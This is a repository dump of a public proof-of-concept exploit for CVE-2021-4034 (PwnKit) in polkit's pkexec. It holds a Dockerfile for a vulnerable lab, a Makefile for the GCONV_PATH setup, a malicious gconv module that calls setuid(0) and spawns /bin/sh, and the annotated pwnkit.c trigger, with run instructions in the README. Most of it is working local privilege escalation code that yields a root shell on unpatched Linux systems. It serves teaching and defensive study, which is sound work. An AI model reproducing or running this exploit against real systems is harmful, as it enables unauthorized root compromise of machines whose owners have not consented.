Repository: PwnFunction/CVE-2021-4034 Branch: main Commit: e978ff576622 Files: 5 Total size: 8.0 KB Directory structure: gitextract_r11bj97m/ ├── Dockerfile ├── Makefile ├── README.md ├── conversion-mod.c └── pwnkit.c ================================================ FILE CONTENTS ================================================ ================================================ FILE: Dockerfile ================================================ # base FROM ubuntu:focal RUN apt update # dev tools RUN apt-get install -y gcc make # polkit RUN apt-get install -y libpolkit-gobject-1-0=0.105-26ubuntu1 RUN apt-get install -y libpolkit-agent-1-0=0.105-26ubuntu1 RUN apt-get install -y policykit-1=0.105-26ubuntu1 # low privileged user RUN useradd -ms /bin/bash lowpriv USER lowpriv # copy exploit RUN mkdir /home/lowpriv/pwnkit COPY conversion-mod.c Makefile pwnkit.c /home/lowpriv/pwnkit/ WORKDIR /home/lowpriv/pwnkit ================================================ FILE: Makefile ================================================ all: clean setup conversion-mod.so pwnkit setup: mkdir 'GCONV_PATH=.' touch GCONV_PATH=.\/pwn chmod +x GCONV_PATH=.\/pwn mkdir pwn echo 'module UTF-8// BRUH// conversion-mod 1' > pwn/gconv-modules conversion-mod.so: gcc -shared -fPIC -o pwn/conversion-mod.so conversion-mod.c pwnkit: gcc -o pwnkit pwnkit.c clean: rm -rf 'GCONV_PATH=.' pwn pwnkit ================================================ FILE: README.md ================================================ # CVE-2021-4034 Local privilege escalation via `pkexec` ## YouTube video

PwnFunction YouTube Video

Watch the [✨ YouTube Video](https://www.youtube.com/watch?v=eTcVLqKpZJc) ## Run locally ```sh make all && ./pwnkit && make clean ``` ## Run in docker ```sh # Build the docker image docker build -t pwnkit . # Run the exploit docker run -it pwnkit bash make all && ./pwnkit && make clean ``` ## Detect using snyk-cli ``` snyk container test pwnkit:latest --file=Dockerfile ``` ## Resources - [Qualys Security Advisory](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt) - [argv silliness](https://ryiron.wordpress.com/2013/12/16/argv-silliness/) ================================================ FILE: conversion-mod.c ================================================ #define _GNU_SOURCE #include #include int gconv_init() { /* Get back uid & gid */ setuid(0); setgid(0); char *args[] = {"sh", NULL}; char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL}; execvpe("/bin/sh", args, envp); return(__GCONV_OK); } int gconv(){ return(__GCONV_OK); } ================================================ FILE: pwnkit.c ================================================ /** * pwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034) * Research advisory: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt * poc by @PwnFunction * */ #include int main() { /** * Default n=1 via argv[0]=NULL, ergo argv[1] == envp[0] for OOB read and write primitives. * * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L481 * * 481 for (n = 1; n < (guint) argc; n++) { ... } * ... * 537 path = g_strdup (argv[n]); * */ char *argv[] = { NULL }; char *envp[] = { /** * `pwn` is argv[1] when OOB read, * and will be overwritten by "unsecure" env variable "GCONV_PATH=./pwn" * * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L543 * * 543 if (path[0] != '/') * 544 { * ... * 546 s = g_find_program_in_path (path); * ... * 553 argv[n] = path = s; * 554 } * */ "pwn", /** * Trigger `g_printerr` via "suspicious content" ("/", "%", "..") in `validate_environment_variable` * Choose `TERM` for no reason, any "safe" env variable works * * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L333 * * 333 static gboolean * 334 validate_environment_variable (const gchar *key, * 335 const gchar *value) * 336 { * ... * 352 if (g_strcmp0 (key, "SHELL") == 0) { ... } * ... * 364 else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) || * 365 strstr (value, "%") != NULL || * 366 strstr (value, "..") != NULL) * 367 { * ... * 371 g_printerr ("\n" * 372 "This incident has been reported.\n"); * ... * 374 } * ... * 380 } * */ "TERM=..", /** * Should have a directory named `GCONV_PATH=.`. * Inside a file should exist with the name `pwn` * `g_find_program_in_path` resolve `path` to "GCONV_PATH=./pwn" * Overwrite argv[1]="GCONV_PATH=./pwn", which is also envp[0] * * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L546 * * 546 s = g_find_program_in_path (path); * ... * 553 argv[n] = path = s; * */ "PATH=GCONV_PATH=.", /** * `UNSECURE_ENVVARS`: https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html * `__unsetenv`: https://code.woboq.org/userspace/glibc/elf/dl-support.c.html#348 * */ /** * Under `g_printerr`, control the condition `g_get_console_charset()`. * * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L3400 * * 3400 if (g_get_console_charset (&charset)) * * --- * * Inside `g_get_console_charset`, for unix systems calls `g_get_charset`. * * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L432 * * 432 return g_get_charset (charset); * * --- * * Under `g_get_charset`, we need to set `cache->is_utf8` to false. * * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L220 * * 220 cache->is_utf8 = g_utf8_get_charset_internal (raw, &new_charset); * * --- * * Inside `g_utf8_get_charset_internal`, returns `FALSE` if env variable `CHARSET` is not "UTF-8" * * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L124 * * 124 if (charset && strstr (charset, "UTF-8")) * 125 return TRUE; * * */ "CHARSET=BRUH", NULL }; /** * * Back in `g_printerr`, when `g_get_console_charset` returns false, we branch to else * * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L3404 * * 3400 if (g_get_console_charset (&charset)) * 3401 fputs (string, stderr); * 3402 else * 3403 { * 3404 gchar *lstring = strdup_convert (string, charset); * ... * 3408 } * * --- * * Inside `strdup_convert`, if the string is not a valid utf8 string, it calls the g_convert_with_fallback * * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L1064 * * 1043 if (!g_utf8_validate (string, -1, NULL)) { ... } * 1060 else * 1061 { * ... * 1064 gchar *result = g_convert_with_fallback (string, -1, charset, "UTF-8", "?", NULL, NULL, &err); * ... * 1081 } * * --- * * Under `g_convert_with_fallback`, calls the open_converter * * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gconvert.c#L697 * * 697 cd = open_converter (to_codeset, "UTF-8", error); * * --- * * `open_converter` finally calls the `g_icon_open` which is - "Same as the standard UNIX routine iconv_open(), * but may be implemented via libiconv on UNIX flavors that lack a native implementation." * * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gconvert.c#L313 * * 313 cd = g_iconv_open (to_codeset, from_codeset); * * */ /* Fire it! */ execve("/usr/bin/pkexec", argv, envp); return 0; }